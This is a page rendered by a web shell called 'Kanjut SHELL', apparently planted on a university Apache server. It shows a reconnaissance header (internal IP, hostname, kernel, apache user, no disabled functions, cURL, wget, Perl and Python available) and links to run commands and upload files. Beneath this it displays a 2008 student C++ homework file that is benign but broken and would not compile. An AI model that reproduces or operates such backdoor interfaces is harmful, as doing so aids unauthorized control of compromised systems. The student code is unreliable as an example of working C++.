Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.133.151.90
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/mrlong/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/mrlong/hw6_212.cpp
//      Miles Long
//      Instructor: Dr. Wang
//      2/2/08
//      filename: assignment6.cpp
//      Program that allows you to insert, sort, find, and print names.
//

#include <iostream>

using namespace std;

void menu();
template <class T>
void process();
void Print();
template <class T>
void Insert();

const int MAX=100;
int length;
string data[MAX];

int main()
{	
	char ch;
	string garbage; 

	menu();
	cin >> ch;

	while ( tolower(ch) != 'q' )
	{
		switch (tolower(ch))
		{ 
			case 'a':
				cout <<"\tInput a char: ";
				process<char>();
				break;

			case 'b':
				cout <<"\tInput a string: ";
				//process<string>();
				break;
			
			case 'c':
				cout <<"\tInput a int: ";
				//Process<int>();
				break;	

			default:
				cout << "\n\t Invalid entry.\n\n";
		}
		menu();
		cin >>ch;
	}

	cout << "\n\nFin^\n\n";
	return 0;
}

//-----------------------------------------
void menu()
{
       // system("clear");
        cout << "\n\nChoose your operation\n";
        cout << "-=+=--=+=--=+=--=+=--=+=--=+=--=+=--=+=-";
        cout << "\nPress a to insert a char.\n";
        cout << "Press b to insert a int.\n";
        cout << "Press c to insert a string.\n";
        cout << "Press q to quit.\n";
        cout << "-=+=--=+=--=+=--=+=--=+=--=+=--=+=--=+=-";
        cout << "\n\nChoose a operation: ";
}
//---------------------------------------- 
template<class T>
void process()
{
	T a;
	T list;
	cin >> a;
	list.Insert(a);
	
        cout << "\n\n\tThe list is: ";
	
}
//---------------------------------
template <class T>
T GetMax (T a)
{
  	T result = a;  
  	return (result);
}
//---------------------------------
template <class T>
void Insert(char item) // to the last
{
    	data[ length ] = item;
        length ++;
}

//---------------------------------
void Print() // as an array
{
	for ( int k=0; k<length; k++ )
        cout << data[k] << '\n';
        cout << endl;
}



Stv3n404 - 2023